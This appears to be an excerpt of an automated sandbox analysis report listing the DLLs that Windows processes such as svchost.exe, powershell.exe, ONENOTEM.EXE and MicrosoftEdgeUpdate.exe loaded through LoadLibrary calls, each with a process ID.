%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003232) "ONENOTEM.EXE" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter Crypt32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00005500) "ONENOTEM.EXE" called "LoadLibrary" with a parameter rstrtmgr.dll (UID: 00000000-00005500) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002136) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00002136) "ONENOTEM.EXE" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004272) "ONENOTEM.EXE" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008188) "ONENOTEM.EXE" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008188) "MicrosoftEdgeWebview2Setup.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007060) "MicrosoftEdgeWebview2Setup.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007060) "MicrosoftEdgeWebview2Setup.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007060) "MicrosoftEdgeWebview2Setup.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007060) "MicrosoftEdgeWebview2Setup.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007060) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdate.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MDMRegistration.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NetApi32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_en.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter kernelbase.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ntdll.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\wldp.dll (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdate.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MDMRegistration.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NetApi32.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_en.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007992) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdate.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MDMRegistration.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NetApi32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\psmachine.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter NETAPI32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005096) "MicrosoftEdgeUpdate.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005096) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MDMRegistration.dll (UID: 00000000-00006152) "MicrosoftEdgeUpdateComRegisterShell64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NetApi32.dll (UID: 00000000-00006152) 